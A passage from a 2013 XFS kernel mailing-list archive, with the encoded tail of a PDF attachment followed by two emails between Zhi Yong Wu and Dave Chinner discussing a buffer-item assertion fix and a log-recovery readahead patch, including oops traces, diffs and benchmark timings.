ICAgICA8ZGM6Zm9ybWF0PmFwcGxpY2F0aW9uL3BkZjwvZGM6Zm9ybWF0PgogICAgICAgICA8ZGM6 Y3JlYXRvcj4KICAgICAgICAgICAgPHJkZjpTZXE+CiAgICAgICAgICAgICAgIDxyZGY6bGk+c29u eTwvcmRmOmxpPgogICAgICAgICAgICA8L3JkZjpTZXE+CiAgICAgICAgIDwvZGM6Y3JlYXRvcj4K ICAgICAgICAgPHhtcDpDcmVhdGVEYXRlPjIwMTMtMDctMjJUMDI6MDcrMDI6MDA8L3htcDpDcmVh dGVEYXRlPgogICAgICAgICA8eG1wOkNyZWF0b3JUb29sPkNvbnYycGRmLmNvbTwveG1wOkNyZWF0 b3JUb29sPgogICAgICAgICA8eG1wOk1vZGlmeURhdGU+MjAxMy0wNy0yMlQwMjoxMDowOSswMjow MDwveG1wOk1vZGlmeURhdGU+CiAgICAgICAgIDx4bXA6TWV0YWRhdGFEYXRlPjIwMTMtMDctMjJU MDI6MTA6MDkrMDI6MDA8L3htcDpNZXRhZGF0YURhdGU+CiAgICAgICAgIDxwZGY6UHJvZHVjZXI+ Q29udjJwZGYuY29tPC9wZGY6UHJvZHVjZXI+CiAgICAgICAgIDx4bXBNTTpEb2N1bWVudElEPnV1 aWQ6NGZkYjAyNTItZGMyMi00MWU2LTlmM2ItNzQ4NTEwZTMzMWNhPC94bXBNTTpEb2N1bWVudElE PgogICAgICAgICA8eG1wTU06SW5zdGFuY2VJRD51dWlkOmIwODQ3MmM4LWFkNTItNDJhOS04YWE2 LWY1MWZmNmI5N2Y1ODwveG1wTU06SW5zdGFuY2VJRD4KICAgICAgPC9yZGY6RGVzY3JpcHRpb24+ CiAgIDwvcmRmOlJERj4KPC94OnhtcG1ldGE+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAog ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAg ICAgICAgICAgICAgICAgICAgICAgICAKPD94cGFja2V0IGVuZD0idyI/Pg0KZW5kc3RyZWFtDWVu ZG9iag0xNCAwIG9iag08PC9GaWx0ZXIvRmxhdGVEZWNvZGUvRmlyc3QgNS9MZW5ndGggNTQvTiAx L1R5cGUvT2JqU3RtPj5zdHJlYW0NCmjesjRRMFCwsdF3zi/NK1Ew0vfOTCmOtrQACgYpGILIWP2Q yoJU/YDE9NRiOzuAAAMAJwkNBA0KZW5kc3RyZWFtDWVuZG9iag0xNSAwIG9iag08PC9GaWx0ZXIv RmxhdGVEZWNvZGUvRmlyc3QgNS9MZW5ndGggMTA2L04gMS9UeXBlL09ialN0bT4+c3RyZWFtDQpo 3mTLwQpAQBQF0F+xQ8pcTxJJia3yCzIjFuZpDOXvWciC/TlZ4sApClHtdmLjbaxPX9RG9XZm3fRW eU1OiGKkRCCkQAByAfdR96lZH7TKMRx48UXL8tciIHtbZ1jug/q8srwEGADB1ie7DQplbmRzdHJl YW0NZW5kb2JqDTE2IDAgb2JqDTw8L0RlY29kZVBhcm1zPDwvQ29sdW1ucyA1L1ByZWRpY3RvciAx Mj4+L0ZpbHRlci9GbGF0ZURlY29kZS9JRFs8OEQxQjkyQkFDODIzRTg0NEJGNDY5N0RENTYxQzk3 MTI+PDEzNjU3NTMyMDZFRUNGNDU5ODhDNjQzMjU3NTA3QzUyPl0vSW5mbyA5NSAwIFIvTGVuZ3Ro IDk2L1Jvb3QgOTcgMCBSL1NpemUgOTYvVHlwZS9YUmVmL1dbMSAzIDFdPj5zdHJlYW0NCmjeYmIA ASZG9uvbGJiAjK1AknFSIIjNcgIs4gMSaV8CYjM+B5OXQSJqJ0HsSB6wGmeELLsyiOQVB5EMk8Hi QHMYv+V7gEUYGEkjGX+ASbL0jpK0I5n2QeIFIMAAUU0P0g0KZW5kc3RyZWFtDWVuZG9iag1zdGFy dHhyZWYNCjExNg0KJSVFT0YNCg== ------=_Part_32507_123530159.1374813174471-- From zwu.kernel@gmail.com Fri Jul 26 01:01:28 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id DC7D57CBF for ; Fri, 26 Jul 2013 01:01:28 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id CD0778F8033 for ; Thu, 25 Jul 2013 23:01:25 -0700 (PDT) X-ASG-Debug-ID: 1374818484-04cbb02c3ba3860001-NocioJ Received: from mail-qa0-f44.google.com (mail-qa0-f44.google.com [209.85.216.44]) by cuda.sgi.com with ESMTP id YcTLDtrhrUo0xuj0 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Thu, 25 Jul 2013 23:01:24 -0700 (PDT) X-Barracuda-Envelope-From: zwu.kernel@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.216.44 X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.44] Received: by mail-qa0-f44.google.com with SMTP id hu16so229787qab.3 for ; Thu, 25 Jul 2013 23:01:23 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.44] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.44] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=ho0VNh0O3QOA9gnEFWpgUuqwghWrlJm5FRtDkrOXV+E=; b=g8EKlhIETeeBgoljHcMTTQFBDQLAqoCr+8QjNZNQDYYVLMa2Uortu6V+50RFT26yu5 LfVXO3kLuzVBQ6UwWFVRJa3f0OynSopyzAz7+LdMyPdtIKefpDDWBVE8osCbkKQrq9do LvuAisyANlry8TL1348wkd6FrZSrQVSro3cyCgCvEOmFLm3tl9qIljXICHm9/ZhzPbCG IU0VeRKMNjfJlpdb35D0J/3mHYNIHjOrlFSkKUux9HMVaVILf9SXKaFdXaqrbkCCVZUw NKL6evaXOrg0JNFfYZZY1YFLif9W1bWLPpioiFjTn9i/oDDE5QYdcy/AEKi7blM0/tLO ZEwg== MIME-Version: 1.0 X-Received: by 10.49.71.141 with SMTP id v13mr53630802qeu.36.1374818483744; Thu, 25 Jul 2013 23:01:23 -0700 (PDT) Received: by 10.49.48.226 with HTTP; Thu, 25 Jul 2013 23:01:23 -0700 (PDT) In-Reply-To: <20130726020318.GD21982@dastard> References: <1374759524-10061-1-git-send-email-zwu.kernel@gmail.com> <20130726020318.GD21982@dastard> Date: Fri, 26 Jul 2013 14:01:23 +0800 Message-ID: Subject: Re: [PATCH] xfs: fix an assertion failure From: Zhi Yong Wu X-ASG-Orig-Subj: Re: [PATCH] xfs: fix an assertion failure To: Dave Chinner Cc: xfstests , "linux-fsdevel@vger.kernel.org" , linux-kernel mlist , Zhi Yong Wu Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: mail-qa0-f44.google.com[209.85.216.44] X-Barracuda-Start-Time: 1374818484 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137317 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature No, it still raised the same assertion as below: [ 521.715103] XFS: Assertion failed: !(bip->bli_item.li_flags & XFS_LI_IN_AIL), file: fs/xfs/xfs_buf_item.c, line: 940 [ 521.716378] ------------[ cut here ]------------ [ 521.716934] kernel BUG at fs/xfs/xfs_message.c:108! [ 521.717364] invalid opcode: 0000 [#1] SMP [ 521.717364] Modules linked in: [ 521.717364] CPU: 0 PID: 6 Comm: kworker/u2:0 Not tainted 3.11.0-rc2+ #959 [ 521.717364] Hardware name: Bochs Bochs, BIOS Bochs 01/01/2011 [ 521.717364] Workqueue: writeback bdi_writeback_workfn (flush-8:0) [ 521.717364] task: ffff880293531fd0 ti: ffff88029353c000 task.ti: ffff88029353c000 [ 521.717364] RIP: 0010:[] [] assfail+0x22/0x30 [ 521.717364] RSP: 0018:ffff88029353d5f8 EFLAGS: 00010292 [ 521.717364] RAX: 0000000000000068 RBX: ffff880289f603a0 RCX: 0000000000000006 [ 521.717364] RDX: 0000000000000006 RSI: ffff880293532758 RDI: ffff880293531fd0 [ 521.717364] RBP: ffff88029353d5f8 R08: 0000000000000000 R09: 0000000000000001 [ 521.717364] R10: 0000000000000000 R11: 0000000000000000 R12: ffff880291e4a480 [ 521.717364] R13: ffff880289f603a0 R14: ffffffff81342b2f R15: ffff8801b43a0810 [ 521.717364] FS: 0000000000000000(0000) GS:ffff88029fc00000(0000) knlGS:0000000000000000 [ 521.717364] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b [ 521.717364] CR2: 00000000f75045e4 CR3: 000000029094c000 CR4: 00000000000006f0 [ 521.717364] Stack: [ 521.717364] ffff88029353d628 ffffffff813428df ffff880289f603a0 0000000000000002 [ 521.717364] ffff880291e4a480 0000000000000001 ffff88029353d668 ffffffff81342b2f [ 521.717364] 0000000000000000 ffff880289f603a0 ffff880276231fc0 ffffffffffffffff [ 521.717364] Call Trace: [ 521.717364] [] xfs_buf_item_relse+0x4f/0xd0 [ 521.717364] [] xfs_buf_item_unlock+0x1cf/0x1f0 [ 521.717364] [] xfs_trans_free_items+0x7d/0xb0 [ 521.717364] [] xfs_trans_cancel+0x13c/0x1b0 [ 521.717364] [] xfs_iomap_write_allocate+0x249/0x350 [ 521.717364] [] xfs_map_blocks+0x2e2/0x350 [ 521.717364] [] xfs_vm_writepage+0x236/0x5e0 [ 521.717364] [] __writepage+0x1a/0x50 [ 521.717364] [] write_cache_pages+0x225/0x4a0 [ 521.717364] [] ? mapping_tagged+0x20/0x20 [ 521.717364] [] generic_writepages+0x4d/0x70 [ 521.717364] [] xfs_vm_writepages+0x50/0x70 [ 521.717364] [] do_writepages+0x21/0x50 [ 521.717364] [] __writeback_single_inode+0x40/0x230 [ 521.717364] [] writeback_sb_inodes+0x291/0x460 [ 521.717364] [] __writeback_inodes_wb+0x9f/0xd0 [ 521.717364] [] wb_writeback+0x24b/0x2e0 [ 521.717364] [] ? global_dirtyable_memory+0x1a/0x60 [ 521.717364] [] bdi_writeback_workfn+0x1d6/0x3d0 [ 521.717364] [] process_one_work+0x1eb/0x4f0 [ 521.717364] [] ? process_one_work+0x189/0x4f0 [ 521.717364] [] worker_thread+0x11b/0x370 [ 521.717364] [] ? rescuer_thread+0x330/0x330 [ 521.717364] [] kthread+0xea/0xf0 [ 521.717364] [] ? flush_kthread_work+0x1b0/0x1b0 [ 521.717364] [] ret_from_fork+0x7c/0xb0 [ 521.717364] [] ? flush_kthread_work+0x1b0/0x1b0 [ 521.717364] Code: 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 55 48 89 f1 41 89 d0 48 c7 c6 f0 b5 c7 81 48 89 fa 31 c0 48 89 e5 31 ff e8 de fb ff ff <0f> 0b 66 66 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 55 48 [ 521.717364] RIP [] assfail+0x22/0x30 [ 521.717364] RSP [ 521.754783] ---[ end trace e13298ca69cdb092 ]--- I applied your patch as below: [root@f17 linux-2.6]# git diff diff --git a/fs/xfs/xfs_buf_item.c b/fs/xfs/xfs_buf_item.c index bfc4e0c..98308f4 100644 --- a/fs/xfs/xfs_buf_item.c +++ b/fs/xfs/xfs_buf_item.c @@ -601,11 +601,9 @@ xfs_buf_item_unlock( } } } - if (clean) - xfs_buf_item_relse(bp); - else if (aborted) { + if (clean || aborted) { if (atomic_dec_and_test(&bip->bli_refcount)) { - ASSERT(XFS_FORCED_SHUTDOWN(lip->li_mountp)); + ASSERT(!aborted || XFS_FORCED_SHUTDOWN(lip->li_mountp)); xfs_buf_item_relse(bp); } } else [root@f17 linux-2.6]# On Fri, Jul 26, 2013 at 10:03 AM, Dave Chinner wrote: > On Thu, Jul 25, 2013 at 09:38:44PM +0800, zwu.kernel@gmail.com wrote: >> From: Zhi Yong Wu >> >> When running the compilebench, one assertion failure was found. >> This related line of code was introduced by commit 5f6bed76c0. >> >> commit 5f6bed76c0c85cb4d04885a5de00b629deee550b >> Author: Dave Chinner >> Date: Thu Jun 27 16:04:52 2013 +1000 >> >> xfs: Introduce an ordered buffer item > > Ok, so the assert was introduced there, and for good reason: if we > are about to free the xfs_buf_log_item, then it better not still be > referenced by the AIL. > >> XFS: Assertion failed: !(bip->bli_item.li_flags & XFS_LI_IN_AIL), file: fs/xfs/xfs_buf_item.c, line: 942 >> ------------[ cut here ]------------ >> kernel BUG at fs/xfs/xfs_message.c:108! >> invalid opcode: 0000 [#1] SMP >> Modules linked in: >> CPU: 0 PID: 40 Comm: kworker/u2:1 Not tainted 3.11.0-rc2+ #955 >> Hardware name: Bochs Bochs, BIOS Bochs 01/01/2011 >> Workqueue: writeback bdi_writeback_workfn (flush-8:0) > .... >> [] xfs_buf_item_relse+0x4f/0xd0 >> [] xfs_buf_item_unlock+0x18b/0x1e0 >> [] xfs_trans_free_items+0x7d/0xb0 >> [] xfs_trans_cancel+0x13c/0x1b0 >> [] xfs_iomap_write_allocate+0x249/0x350 >> [] xfs_map_blocks+0x2e2/0x350 >> [] xfs_vm_writepage+0x236/0x5e0 > > And what we see here is a buffer item being released and freed after > a cancelled allocation transaction while it is in the AIL. That's > indicative of a bug in the buffer item code, and will cause > user-after-free issues. Hence: > >> diff --git a/fs/xfs/xfs_buf_item.c b/fs/xfs/xfs_buf_item.c >> index bfc4e0c..b4d42ae 100644 >> --- a/fs/xfs/xfs_buf_item.c >> +++ b/fs/xfs/xfs_buf_item.c >> @@ -939,7 +939,6 @@ xfs_buf_item_relse( >> xfs_buf_log_item_t *bip = bp->b_fspriv; >> >> trace_xfs_buf_item_relse(bp, _RET_IP_); >> - ASSERT(!(bip->bli_item.li_flags & XFS_LI_IN_AIL)); > > Removing the assert is not going to fix the bug that it is telling > us is ocurring. > > Indeed, it points out that the calling code - xfs_buf_item_unlock() > - is probably doing the wrong this. i.e. that it assumes that a > clean buffer item is only referenced in this transaction and so it > can unconditionally free it. That's an invalid assumption, and > exactly the situation that the above assert was designed to catch. > > Can you try the patch below? It should fix the problem.... > > Cheers, > > Dave. > -- > Dave Chinner > david@fromorbit.com > > xfs: use reference counts to free clean buffer items > > From: Dave Chinner > > When a transaction is cancelled and the buffer log item is clean in > the transaction, the buffer log item is unconditionally freed. If > the log item is in the AIL, however, this leads to a use after free > condition as the item still has other users. > > In this case, xfs_buf_item_relse() should only be called on clean > buffer items if the reference count has dropped to zero. This > ensures only the last user frees the item. > > Signed-off-by: Dave Chinner > --- > fs/xfs/xfs_buf_item.c | 6 ++---- > 1 file changed, 2 insertions(+), 4 deletions(-) > > diff --git a/fs/xfs/xfs_buf_item.c b/fs/xfs/xfs_buf_item.c > index 9358504..3a944b1 100644 > --- a/fs/xfs/xfs_buf_item.c > +++ b/fs/xfs/xfs_buf_item.c > @@ -613,11 +613,9 @@ xfs_buf_item_unlock( > } > } > } > - if (clean) > - xfs_buf_item_relse(bp); > - else if (aborted) { > + if (clean || aborted) { > if (atomic_dec_and_test(&bip->bli_refcount)) { > - ASSERT(XFS_FORCED_SHUTDOWN(lip->li_mountp)); > + ASSERT(!aborted || XFS_FORCED_SHUTDOWN(lip->li_mountp)); > xfs_buf_item_relse(bp); > } > } else -- Regards, Zhi Yong Wu From zwu.kernel@gmail.com Fri Jul 26 01:36:21 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 039FA7F4E for ; Fri, 26 Jul 2013 01:36:21 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id B2DE830409A for ; Thu, 25 Jul 2013 23:36:20 -0700 (PDT) X-ASG-Debug-ID: 1374820575-04bdf02f20ac650001-NocioJ Received: from mail-qe0-f54.google.com (mail-qe0-f54.google.com [209.85.128.54]) by cuda.sgi.com with ESMTP id aCk8PWoaGxiAAarC (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Thu, 25 Jul 2013 23:36:15 -0700 (PDT) X-Barracuda-Envelope-From: zwu.kernel@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.128.54 X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.54] Received: by mail-qe0-f54.google.com with SMTP id 1so819613qee.27 for ; Thu, 25 Jul 2013 23:36:15 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.54] X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.54] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=AAiVwY67ZL/azce62fZ31T8At8O2t3Lk30BehiaWtoY=; b=NFDBcaD1nnKAjZfiBFy+P1JdccjADv79na7vdflk/8Jv83a2uwxnOVyhgVfb4e4+3J YnvqKxegd/7zKMvCvNjYN6E3lZ0YbCJ+kGOnFgd2AMqmZOOnxiipuplWEDq3CF/HqxC8 CNg4CUBuxttWQcyTBJl9bEOyR/uaROyYa/S/LPCJZFZ5j7/2uVN5z2xklaXXb8N3OqFe EoIt3ihKQhpuLYWgOJz1N51khm+FHWJDx7yTpZrdSeiWxHgudfY2kjhyH5/O1H1BO1FL 2DCAotRH0MsGcuulxfgk8NSErxeRMMttTXCIsMYStoOHJZGfDjPZrrrRb2qiBfP9L7W8 cPOg== MIME-Version: 1.0 X-Received: by 10.49.71.141 with SMTP id v13mr53744827qeu.36.1374820575079; Thu, 25 Jul 2013 23:36:15 -0700 (PDT) Received: by 10.49.48.226 with HTTP; Thu, 25 Jul 2013 23:36:15 -0700 (PDT) In-Reply-To: <20130726025009.GE21982@dastard> References: <1374740619-29797-1-git-send-email-zwu.kernel@gmail.com> <20130726025009.GE21982@dastard> Date: Fri, 26 Jul 2013 14:36:15 +0800 Message-ID: Subject: Re: [PATCH] xfs: introduce object readahead to log recovery From: Zhi Yong Wu X-ASG-Orig-Subj: Re: [PATCH] xfs: introduce object readahead to log recovery To: Dave Chinner Cc: xfstests , "linux-fsdevel@vger.kernel.org" , linux-kernel mlist , Zhi Yong Wu Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: mail-qe0-f54.google.com[209.85.128.54] X-Barracuda-Start-Time: 1374820575 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137318 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Dave, All comments are good to me, and will be applied to next version, thanks a lot. On Fri, Jul 26, 2013 at 10:50 AM, Dave Chinner wrote: > On Thu, Jul 25, 2013 at 04:23:39PM +0800, zwu.kernel@gmail.com wrote: >> From: Zhi Yong Wu >> >> It can take a long time to run log recovery operation because it is >> single threaded and is bound by read latency. We can find that it took >> most of the time to wait for the read IO to occur, so if one object >> readahead is introduced to log recovery, it will obviously reduce the >> log recovery time. >> >> In dirty log case as below: >> data device: 0xfd10 >> log device: 0xfd10 daddr: 20480032 length: 20480 >> >> log tail: 7941 head: 11077 state: > > That's only a small log (10MB). As I've said on irc, readahead won't Yeah, it is one 10MB log, but how do you calculate it based on the above info? > show any real difference on this and you need to be testing with > large logs. > >> >> This dirty ratio is about 15%. I am trying to do tests in larger scale >> and dirtier filesystem environment. >> >> Log recovery time stat: >> >> w/o this patch w/ this patch >> real 0m1.051s 0m0.965s >> sys 0m0.033s 0m0.035s >> >> iowait 0m1.018s 0m0.930s > > Well, it's not made much of a difference there. That's probably > within the noise of repeated log recovery runs. > > My simple test is: > > $ cat recovery_time.sh > #!/bin/bash > > cd /home/dave/src/compilebench-0.6/ > > mkfs.xfs -f /dev/vdc; > mount /dev/vdc /mnt/scratch > chmod 777 /mnt/scratch; > ./compilebench --no-sync -D /mnt/scratch & > sleep 55 > /home/dave/src/xfstests-dev/src/godown /mnt/scratch > umount /mnt/scratch > xfs_logprint -t /dev/vdc |head -20 > time mount /dev/vdc /mnt/scratch > umount /mnt/scratch > $ > > And the recovery time from this is between 15-17s: > > .... > log device: 0xfd20 daddr: 107374182032 length: 4173824 > ^^^^^^^ almost 2GB > log tail: 19288 head: 264809 state: > .... > real 0m17.913s > user 0m0.000s > sys 0m2.381s > > And runs at 3-4000 read IOPs for most of that time. It's largely IO > bound, even on SSDs. > > With your patch: > > log tail: 35871 head: 308393 state: > real 0m12.715s > user 0m0.000s > sys 0m2.247s > > And it peaked at ~5000 read IOPS. How do you know its READ IOPS is ~5000? > > It's definitely an improvement, but there's a lot of dead time still > spent waiting for IO that we should be able to remove. Let's have a > look at the code... > > >> +STATIC void >> +xlog_recover_inode_ra_pass2( >> + struct xlog *log, >> + struct xlog_recover_item *item) >> +{ >> + xfs_inode_log_format_t *in_f; >> + xfs_mount_t *mp = log->l_mp; >> + int error; >> + int need_free = 0; >> + >> + if (item->ri_buf[0].i_len == sizeof(xfs_inode_log_format_t)) { >> + in_f = item->ri_buf[0].i_addr; >> + } else { >> + in_f = kmem_alloc(sizeof(xfs_inode_log_format_t), KM_SLEEP); >> + need_free = 1; >> + error = xfs_inode_item_format_convert(&item->ri_buf[0], in_f); >> + if (error) >> + goto error; >> + } > > I'd just put the conversion buffer on stack and avoid the need to > alloc/free memory here. There's plenty of stack space available > during recovery here, so let's use it to keep the overhead of > readahead down. OK, will use the buffer on stack. > >> +STATIC void >> +xlog_recover_dquot_ra_pass2( >> + struct xlog *log, >> + struct xlog_recover_item *item) >> +{ >> + xfs_mount_t *mp = log->l_mp; >> + xfs_buf_t *bp; >> + struct xfs_disk_dquot *recddq; >> + int error; >> + xfs_dq_logformat_t *dq_f; >> + uint type; >> + >> + >> + if (mp->m_qflags == 0) >> + return; >> + >> + recddq = item->ri_buf[1].i_addr; >> + if (recddq == NULL) >> + return; >> + if (item->ri_buf[1].i_len < sizeof(xfs_disk_dquot_t)) >> + return; >> + >> + type = recddq->d_flags & (XFS_DQ_USER | XFS_DQ_PROJ | XFS_DQ_GROUP); >> + ASSERT(type); >> + if (log->l_quotaoffs_flag & type) >> + return; >> + >> + dq_f = item->ri_buf[0].i_addr; >> + ASSERT(dq_f); >> + error = xfs_qm_dqcheck(mp, recddq, dq_f->qlf_id, 0, XFS_QMOPT_DOWARN, >> + "xlog_recover_dquot_ra_pass2 (log copy)"); >> + if (error) >> + return; >> + ASSERT(dq_f->qlf_len == 1); >> + >> + error = xfs_trans_read_buf(mp, NULL, mp->m_ddev_targp, dq_f->qlf_blkno, >> + XFS_FSB_TO_BB(mp, dq_f->qlf_len), 0, &bp, >> + NULL); >> + if (!error) >> + xfs_buf_relse(bp); >> +} > > That's not doing readahead - that's an integrity check followed by a > blocking read. Shouldn't it just be calling xfs_buf_readahead() on > dq_f->qlf_blkno/dq_f->qlf_len, after checking whether it had been > cancelled? ah, i miss tha it is one blocking read. will fix it > >> STATIC int >> xlog_recover_commit_pass1( >> struct xlog *log, >> @@ -3140,10 +3255,14 @@ xlog_recover_commit_pass2( >> struct xlog *log, >> struct xlog_recover *trans, >> struct list_head *buffer_list, >> - struct xlog_recover_item *item) >> + struct xlog_recover_item *item, >> + struct xlog_recover_item *next_item) >> { >> trace_xfs_log_recover_item_recover(log, trans, item, XLOG_RECOVER_PASS2); >> >> + if (next_item) >> + xlog_recover_ra_pass2(log, next_item); >> + > > Ah, that explains the limited improvement - it's only doing > readahead of a single item at a time. IOWs, we are completing > recovery of the current object before IO completion of the next > object has occurred. This generally means the read-ahead queue is Yes. > not deep enough... > >> switch (ITEM_TYPE(item)) { >> case XFS_LI_BUF: >> return xlog_recover_buffer_pass2(log, buffer_list, item); >> @@ -3181,7 +3300,7 @@ xlog_recover_commit_trans( >> int pass) >> { >> int error = 0, error2; >> - xlog_recover_item_t *item; >> + xlog_recover_item_t *item, *next_item, *temp_item; >> LIST_HEAD (buffer_list); >> >> hlist_del(&trans->r_list); >> @@ -3190,14 +3309,18 @@ xlog_recover_commit_trans( >> if (error) >> return error; >> >> - list_for_each_entry(item, &trans->r_itemq, ri_list) { >> + list_for_each_entry_safe(item, temp_item, &trans->r_itemq, ri_list) { >> switch (pass) { >> case 